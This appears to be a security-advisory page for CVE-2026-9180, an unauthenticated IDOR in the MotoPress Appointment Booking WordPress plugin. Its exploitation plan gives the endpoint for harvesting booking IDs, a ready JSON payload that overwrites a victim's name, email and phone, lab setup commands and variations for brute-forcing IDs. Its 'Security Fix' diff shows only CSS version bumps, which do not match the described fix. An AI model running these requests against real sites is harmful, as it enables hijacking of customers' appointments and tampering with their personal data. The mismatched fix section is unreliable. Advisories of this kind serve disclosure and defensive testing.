MotoPress Appointment Booking <= 2.4.4 - Unauthenticated Insecure Direct Object Reference to 'payment_details.booking_id' Parameter
Description
The MotoPress Appointment Booking plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in all versions up to, and including, 2.4.4. This is due to the `POST /motopress/appointment/v1/bookings` REST endpoint being registered with `'permission_callback' => '__return_true'`, allowing unauthenticated access, while the `createBooking` handler in `BookingsRestController.php` accepts an attacker-supplied `payment_details.booking_id` value and loads the referenced booking via `findById()` without verifying that the caller owns or has any rights to that booking. This makes it possible for unauthenticated attackers to overwrite the customer name, email address, phone number, and `customer_id` of any non-confirmed victim booking by submitting a request with no reservation items, causing `BookingService::createBooking()` to load the existing victim booking object and persist it with attacker-controlled customer data. Victim booking IDs can be harvested prior to exploitation without authentication by querying the also-publicly-accessible `GET /motopress/appointment/v1/bookings/reservations` endpoint with a guessable `service_id` and date range, and only bookings whose status is not `STATUS_CONFIRMED` (e.g., pending or auto-draft) are valid targets.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.4.4What Changed in the Fix
Changes introduced in v2.4.5
Source Code
WordPress.org SVNThis exploitation research plan focuses on **CVE-2026-9180**, an unauthenticated Authorization Bypass (IDOR) in the MotoPress Appointment Booking plugin. --- ### 1. Vulnerability Summary The `motopress-appointment-lite` plugin exposes a REST API endpoint for creating bookings that fails to validat…
Show full research plan
This exploitation research plan focuses on CVE-2026-9180, an unauthenticated Authorization Bypass (IDOR) in the MotoPress Appointment Booking plugin.
1. Vulnerability Summary
The motopress-appointment-lite plugin exposes a REST API endpoint for creating bookings that fails to validate the ownership or status of a booking when an existing ID is provided. The createBooking handler in BookingsRestController.php accepts a user-controlled booking_id within the payment_details object. Instead of creating a new record, the service loads the existing booking and overwrites its customer metadata (name, email, phone) with the attacker-provided values. This allows an unauthenticated attacker to hijack or corrupt pending appointments.
2. Attack Vector Analysis
- Vulnerable Endpoint:
POST /wp-json/motopress/appointment/v1/bookings - Harvesting Endpoint:
GET /wp-json/motopress/appointment/v1/bookings/reservations - Authentication: None (Unauthenticated). The
permission_callbackfor the route is explicitly set to__return_true. - Vulnerable Parameter:
payment_details.booking_id - Preconditions:
- A target booking must exist with a status other than
STATUS_CONFIRMED(e.g.,pendingorauto-draft). - The attacker must know or harvest the
booking_id.
- A target booking must exist with a status other than
3. Code Flow (Inferred)
- Entry Point: A
POSTrequest hits the REST route/motopress/appointment/v1/bookings. - Controller:
BookingsRestController::createBooking()(inferred) is invoked. - Data Extraction: The controller extracts the
payment_detailsarray from the JSON body. - Insecure Loading: The code checks for
payment_details['booking_id']. If present, it callsBookingService::findById($booking_id)without checking if the current session "owns" that ID. - Service Layer:
BookingService::createBooking()receives the loaded booking object and the new data. - Persistence: The service updates the booking's
customer_id,name,email, andphoneand calls$booking->save(), effectively overwriting the victim's information with the attacker's data.
4. Nonce Acquisition Strategy
According to the vulnerability description, the endpoint is registered with 'permission_callback' => '__return_true'. In the WordPress REST API, when a route is accessible to unauthenticated users and does not rely on cookie-based authentication, the X-WP-Nonce header is typically not required.
If a nonce is enforced by a global filter, it can be acquired via the mpa-checkout localization:
- Identify Trigger: The booking form scripts are usually enqueued on pages containing the
[mpa_checkout]shortcode. - Create Page:
wp post create --post_type=page --post_status=publish --post_content='[mpa_checkout]' --post_title='Checkout' - Extract: Navigate to the new page and execute:
browser_eval("window.mpaCheckoutVars?.nonce")(inferred variable name based on MotoPress naming conventions).
5. Exploitation Strategy
Step 1: Harvest Victim Booking IDs
The attacker first identifies valid booking_id values by querying the reservations endpoint.
- Tool:
http_request - Method:
GET - URL:
/wp-json/motopress/appointment/v1/bookings/reservations?from=2024-01-01&to=2026-01-01&service_id=1 - Expected Response: A JSON array of reservations including
booking_id.
Step 2: Perform the Overwrite (IDOR)
Replace the victim's contact details with attacker-controlled data.
- Tool:
http_request - Method:
POST - URL:
/wp-json/motopress/appointment/v1/bookings - Headers:
Content-Type: application/json - Payload:
{
"customer": {
"name": "Hacked User",
"email": "attacker@example.com",
"phone": "555-0000"
},
"payment_details": {
"booking_id": 123,
"payment_method": "test"
},
"reservations": []
}
Note: Sending an empty reservations array prevents the creation of new appointment slots while allowing the payment_details processing logic to trigger the overwrite.
6. Test Data Setup
- Install Plugin:
wp plugin install motopress-appointment-lite --version=2.4.4 --activate - Create Service:
wp post create --post_type=mpa_service --post_title='Consultation' --post_status=publish(Note the ID, e.g., 10).
- Create Victim Booking:
- Manually or via CLI, create a booking in
pendingstatus. wp post create --post_type=mpa_booking --post_title='Victim Booking' --post_status=mpa-pending- Record the ID (e.g., 123).
- Manually or via CLI, create a booking in
- Verify Original Data:
wp post get 123 --field=post_title
7. Expected Results
- The REST API should return a
200 OKor201 Createdresponse. - The response body may reflect the updated customer details.
- Crucially, the server does not return a
403 Forbiddendespite the attacker not owning booking123.
8. Verification Steps
After the POST request, verify the database state using WP-CLI:
- Check the "post title" or customer metadata:
wp post get 123 - Check for custom meta fields associated with the booking:
wp post meta list 123 - Confirm that the email/name now matches
attacker@example.comandHacked User.
9. Alternative Approaches
- Fuzzing Service IDs: If
service_id=1returns no results in Step 1, use a loop to guessservice_idfrom 1-100 to find active services. - Status Guessing: If the overwrite fails on one ID, it may be because the status is already
confirmed. Targetauto-draftIDs which are often generated when a user simply opens the checkout page. - Direct Parameter Manipulation: Try moving the
booking_idoutside ofpayment_detailsto the top-level JSON object if the schema allows it.
Summary
The MotoPress Appointment Booking plugin allows unauthenticated attackers to overwrite the customer details of existing bookings due to an Insecure Direct Object Reference (IDOR) in the REST API. By providing a victim's booking ID in the 'payment_details.booking_id' parameter of a creation request, the plugin loads and updates the existing record with attacker-supplied contact information without verifying ownership.
Security Fix
@@ -15,7 +15,7 @@ left: 0; width: 100%; height: 100%; - background: no-repeat center url("../images/loading.gif?ver=2.4.4"), rgba(255, 255, 255, 0.5); + background: no-repeat center url("../images/loading.gif?ver=2.4.5"), rgba(255, 255, 255, 0.5); background-size: 32px 32px; z-index: 9000; } @@ -58,7 +58,7 @@ display: inline-block; width: 20px; height: 20px; - background: no-repeat center url("../images/preloader.gif?ver=2.4.4"); + background: no-repeat center url("../images/preloader.gif?ver=2.4.5"); } .mpa-table th {
Exploit Outline
1. Harvest victim booking IDs by querying the public `GET /wp-json/motopress/appointment/v1/bookings/reservations` endpoint with a guessable `service_id` and date range. 2. Construct a JSON payload containing a `customer` object with the desired malicious metadata (name, email, phone) and a `payment_details` object containing the target `booking_id`. 3. Send an unauthenticated `POST` request to `/wp-json/motopress/appointment/v1/bookings` with this payload and an empty `reservations` array. 4. The server-side logic in `createBooking` will use `findById()` to load the victim's booking based on the provided ID and overwrite its properties with the attacker's data, as the endpoint is registered with `'permission_callback' => '__return_true'`.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.